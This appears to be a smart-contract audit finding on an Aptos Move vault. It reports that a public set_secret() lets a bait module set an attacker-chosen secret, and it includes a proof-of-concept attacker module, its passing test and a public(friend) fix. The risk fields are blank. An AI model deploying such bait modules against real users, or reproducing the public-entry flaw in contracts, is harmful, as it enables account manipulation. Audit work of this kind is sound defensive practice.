set_secret() is marked as public + any module can phish set_secret() with a password set by the attacker
Description
@> public entry fun set_secret(caller:&signer,secret:vector<u8>){
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}
Risk
Likelihood:
Impact:
Proof of Concept
module secret_vault::attacker{
use std::signer;
use std::string::{Self};
use secret_vault::vault;
const SECRET_SET_BY_ATTACKER: vector<u8> = b"secret set by attacker";
entry fun bait_function_attack(caller: &signer) {
let secret = SECRET_SET_BY_ATTACKER;
vault::set_secret(caller, secret);
}
#[test(owner = @0xcc)]
fun test_bait_function_attack(owner: &signer) {
use aptos_framework::account;
let owner_address = signer::address_of(owner);
account::create_account_for_test(owner_address);
bait_function_attack(owner);
let secret = vault::get_secret(owner_address);
assert!(secret == string::utf8(SECRET_SET_BY_ATTACKER), 4);
}
}
Run with
aptos move test --filter test_bait_function_attack
Output
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[ PASS ] 0x234::attacker::test_bait_function_attack
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}
Recommended Mitigation
Only allow friend functions to be able to call set_secret()
.
- public entry fun set_secret(caller:&signer,secret:vector<u8>){
+ public(friend) entry fun set_secret(caller:&signer,secret:vector<u8>){
let secret_vault = Vault{secret: string::utf8(secret)};
move_to(caller,secret_vault);
event::emit(SetNewSecret {});
}